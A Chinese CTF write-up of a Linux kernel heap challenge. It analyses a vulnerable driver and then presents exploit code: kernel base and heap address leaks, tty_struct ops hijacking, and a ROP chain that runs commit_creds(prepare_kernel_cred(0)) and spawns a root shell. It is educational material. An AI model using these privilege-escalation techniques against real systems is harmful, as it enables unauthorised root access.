神来之笔,2021CTF 内核漏洞精选解析
0x0 保护
#!/bin/sh
qemu-system-x86_64 \
-m 512M \
-kernel bzImage \
-nographic \
-smp 1 \
-cpu kvm64,+smep,+smap \
-append "console=ttyS0 quiet kaslr" \
-initrd rootfs.cpio \
-monitor /dev/null \
--no-reboot \
-s
开启的保护:
SMEP SMAP KPTI
0x1 源码分析
从file_operations
可以看出这是一个内核下的菜单题目,提供 add、delete、show、append 功能。
static const struct file_operations file_ops = {
.owner = THIS_MODULE,
.unlocked_ioctl = handle_ioctl,
};
static long handle_ioctl(struct file *f, unsigned int cmd, unsigned long arg){
long ret;
req* args = kmalloc(sizeof(req), GFP_KERNEL);
copy_from_user(args, arg, sizeof(req));
if (cmd == 0x13371){
ret = create(args);
}
else if (cmd == 0x13372){
ret = delete(args);
}
else if (cmd == 0x13373){
ret = show(args);
}
else if (cmd == 0x13374){
ret = append(args);
}
else{
ret = -EINVAL;
}
return ret;
}
关于create
函数:限制申请0 - 1024
大小的堆块,会先通过read_contents
申请一个大小content_length
临时堆块,用来存放用户输入的内容,然后再申请size
大小的堆块来存入临时堆块的内容,并把地址放到nuts
数组里。但是如果content_length
设置为为 0,就会只申请size
的堆块,不会申请临时堆块,这一点可以用于泄漏信息。
static int create(req* arg){
int size = read_size(arg);
char* contents = read_contents(arg);
int i;
for (i = 0; i < 10; i++){
if (nuts[i].contents == NULL){
break;
}
}
if (i == 10){
printk(KERN_INFO "creation error");
return -EINVAL;
}
if (size < 0 || size >= 1024){
printk(KERN_INFO "bad size");
return -EINVAL;
}
nuts[i].size = size;
nuts[i].contents = kmalloc(size, GFP_KERNEL);
if (contents != 0){
memcpy_safe(nuts[i].contents, contents, size); //size > length , read heap overflow.
kfree(contents);
}
else {
printk("bad content length!");
return -EINVAL;
}
return 0;
}
// Return a content ptr which will be alloced in kernel.
static char* read_contents(req* arg){
char* to_read = (char*) arg->contents;
int content_length = arg->content_length;
if (content_length <= 0){
printk(KERN_INFO "bad content length");
return 0;
}
char* res = kmalloc(content_length, GFP_KERNEL);
copy_from_user(res, to_read, content_length);
return res;
}
关于delete
函数:没啥可说的。只是kfree
指定堆块,并清空nuts
数组在此处的信息。
static int delete(req* arg){
int idx = read_idx(arg);
if (idx < 0 || idx >= 10){
return -EINVAL;
}
if (nuts[idx].contents == NULL){
return -EINVAL;
}
printk(KERN_INFO "deleting at 0x%px", nuts[idx].contents);
kfree(nuts[idx].contents);
nuts[idx].contents = NULL;
nuts[idx].size = 0;
return 0;
}
关于show
函数:输出nuts
数组内指定堆块的信息。
static int show(req* arg){
int idx = read_idx(arg);
if (idx < 0 || idx >= 10){
return -EINVAL;
}
if (nuts[idx].contents == NULL){
return -EINVAL;
}
copy_to_user(arg->show_buffer, nuts[idx].contents, nuts[idx].size);
return 0;
}
关于append
函数:用户提供的size
加上nuts
数组上指定堆块的size
成为新的size
,申请新的堆块先存放旧堆块的内容,然后再在之后填入新的内容。kfree
掉旧的堆块,更新nuts
数组。
static int append(req* arg){
int idx = read_idx(arg);
if (idx < 0 || idx >= 10){
return -EINVAL;
}
if (nuts[idx].contents == NULL){
return -EINVAL;
}
int new_size = read_size(arg) + nuts[idx].size;
if (new_size < 0 || new_size >= 1024){
printk(KERN_INFO "bad new size!\n");
return -EINVAL;
}
char* tmp = kmalloc(new_size, GFP_KERNEL);
memcpy_safe(tmp, nuts[idx].contents, nuts[idx].size);
kfree(nuts[idx].contents);
char* appended = read_contents(arg);
if (appended != 0){
memcpy_safe(tmp+nuts[idx].size, appended, new_size - nuts[idx].size);
kfree(appended);
}
nuts[idx].contents = tmp;
nuts[idx].size = new_size;
return 0;
}
0x2 漏洞点
漏洞点有两个地方:
create 的时候,如果
size > length
会造成越界读。append 如果使
arg
中设置的size > 1024
会被返回-EOVERFLOW
,在 IDA 上看到是-75
,可以利用这个来越界写堆,造成堆溢出。
0x3 利用思路
泄漏内核基地址:通过
subprocess_info
结构体可以在kmalloc-128
的堆块里存入一个可以泄漏内核基地址的地址call_usermodehelper_exec_work
,然后通过越界读来读取,利用代码如下:
create(0x60, buf, 0x60); // nut[0]
create(0x60, buf, 0); // nut[1]
socket(22, AF_INET, 0); // 申请`subprocess_info`
delete (1);
delete (0);
create(0x100, buf, 0x60); // nut[0]
memset(buf, 0, sizeof(buf));
show(0, buf);
printf("[*] Leak call_usermodehelper_exec_work addr : %#llx\n", buf[15]);
kernbase = buf[15];
泄漏需要利用的堆块的地址(之后会利用
tty_struct
来 ROP。)就是类似打 fastbin 的思路来泄漏kmalloc-1024
的堆块地址,因为tty_struct
会使用kmalloc-1024
的堆块。
memset(buf, 0, sizeof(buf));
create(1023, buf, 1023); // nut[1]
create(1023, buf, 1023); // nut[2]
delete (2);
create(1023, buf, 0); // nut[2]
show(2, buf);
heapbase = buf[64];
printf("[*] Leak tty_struct chunk addr : %#llx\n", buf[64]);
int victim = open("/dev/ptmx", O_RDWR | O_NOCTTY); // 申请tty_struct
利用越界写来改写堆块的
next
指针,来申请想要利用的堆块。这里申请了两次tty_struct
所在的堆块,一次用来把tty_struct
的内容留存下来,方便之后覆盖的时候减少修改其中内容,一次用来将修改数据之后覆盖tty_struct
。修改的是onst struct tty_operations *ops
指针为我们可控的内核堆,来作为我们劫持 RIP 的地方,和 ROP 栈迁移的栈,这个结构体内有很多函数指针,我在下文会附上其内容。
memset(buf, 0, sizeof(buf));
create(0x80, buf, 0x80); // nut[3]
create(0x80, buf, 0x80); // nut[4]
buf[0x18] = heapbase;
create(0x80 + 75, buf, 0x80 + 75); // nut[5]
delete (4);
delete (3);
append(5, 0x500, buf);
create(0x80, buf, 0); // nut[3]
create(0x80, buf, 0); // nut[4] => tty_struct
show(4, buf);
create(64, tmp, 64); // nut[6]
create(64, tmp, 64); // nut[7]
for (int i = 0; i < 13; i++)
tmp[i] = heapbase;
create(64 + 75, tmp, 64 + 75); // but[8]
delete (7);
delete (6);
append(8, 0x500, tmp);
buf[1] = calc(0xffffffff814236d7); // 0xffffffff815c5c8e: pop rbp; pop rsp; sub ecx, 0xfffeb01a; ret;
buf[3] = heapbase + 0x400;
create(64, buf, 64); // nut[6] => tty_struct
// struct tty_operations
struct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct file *filp, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
const unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
int (*write_room)(struct tty_struct *tty);
int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
void (*throttle)(struct tty_struct * tty);
void (*unthrottle)(struct tty_struct * tty);
void (*stop)(struct tty_struct *tty);
void (*start)(struct tty_struct *tty);
void (*hangup)(struct tty_struct *tty);
int (*break_ctl)(struct tty_struct *tty, int state);
void (*flush_buffer)(struct tty_struct *tty);
void (*set_ldisc)(struct tty_struct *tty);
void (*wait_until_sent)(struct tty_struct *tty, int timeout);
void (*send_xchar)(struct tty_struct *tty, char ch);
int (*tiocmget)(struct tty_struct *tty);
int (*tiocmset)(struct tty_struct *tty,
unsigned int set, unsigned int clear);
int (*resize)(struct tty_struct *tty, struct winsize *ws);
int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
int (*get_icount)(struct tty_struct *tty,
struct serial_icounter_struct *icount);
void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
int (*poll_init)(struct tty_driver *driver, int line, char *options);
int (*poll_get_char)(struct tty_driver *driver, int line);
void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
int (*proc_show)(struct seq_file *, void *);
} __randomize_layout
最后写入 ROP 到堆内,并通过
ioctl
来触发 ROP。
delete (2);
delete (1);
memset(buf, 0, sizeof(buf));
// for(int i = 0; i < 20; i++)
// buf[i] = 0xdeadbeaf;
buf[0] = calc(0xffffffff81001bdd); // 0xffffffff81001bdd: pop rdi ; ret ;
buf[1] = 0;
buf[2] = calc(0xffffffff8108c3c0); // prepare_kernel_cred
buf[3] = calc(0xffffffff810557b5); // 0xffffffff810557b5: pop rcx; ret;
buf[4] = 0;
buf[5] = calc(0xffffffff81a2474b); // 0xffffffff81a2474b: mov rdi, rax; rep movsq qword ptr [rdi], qword ptr [rsi]; ret;
buf[6] = calc(0xffffffff8108c190); // ffffffff8108c190 T commit_creds
buf[7] = calc(0xffffffff810557b5); // 0xffffffff810557b5: pop rcx; ret;
buf[8] = 0;
buf[9] = calc(0xffffffff810557b5); // 0xffffffff810557b5: pop rcx; ret;
buf[10] = 0;
buf[11] = calc(0xffffffff810557b5); // 0xffffffff810557b5: pop rcx; ret;
buf[12] = calc(0xffffffff8100cf31); // 0xffffffff8100cf31: leave; ret;
buf[13] = calc(0xffffffff810557b5); // 0xffffffff810557b5: pop rcx; ret;
buf[14] = 0;
buf[15] = calc(0xffffffff81a23d42); // 0xffffffff81a23d42: swapgs; ret;
buf[16] = calc(0xffffffff81026a7b); // 0xffffffff81026a7b: iretq; ret;
buf[17] = &pop_shell;
buf[18] = user_cs;
buf[19] = user_rflags;
buf[20] = user_sp;
buf[21] = user_ss;
create(1023, buf, 1023);
printf("[*] Get RIP : %#llx\n", calc(0xffffffff8100cf31));
puts("[*] ROPing");
ioctl(victim, buf, heapbase + 0x400);
ROP内需要注意的是,先`commit_creds(prepare_kernel_cred(0))`,然后`ret2usr`。
但是实际上由于`KPTI`的原因,在`iretq`的时候会发生分段错误,发出`SIGSEGV`信号,不关闭`KPTI`的话,实际上并不能提权成功,在之前看过一个师傅的帖子,记不清楚链接了,但是这里有个很简单的处理方法:信号可以由用户态捕获并处理,而处理的部分我们自定义一个`pop_shell`函数即可弹出shell。
signal(SIGSEGV, pop_shell);
void pop_shell(void)
{
char *argv[] = {"/bin/sh", NULL};
char *envp[] = {NULL};
execve("/bin/sh", argv, envp);
}
其实还有一种使用
Userfaultfd
的思路,可以看下 Reference 里的链接,smallkirby 师傅写的思路。
0x4 Exploit
Mech0n/UnionCTF-nutty.c
最后,我是一名安全渗透工程师,希望本文对 CTF 感兴趣的伙伴们有所帮助,还有更多网络安全学习视频、工具包、逆向、应急响应等架构技术需要的点此下载感谢大家阅读,喜欢的记得一键三连~
网络安全学海
我是一名网络安全渗透师 2021.06.18 加入
关注我,后续将会带来更多精选作品,需要资料+wx:mengmengji08
评论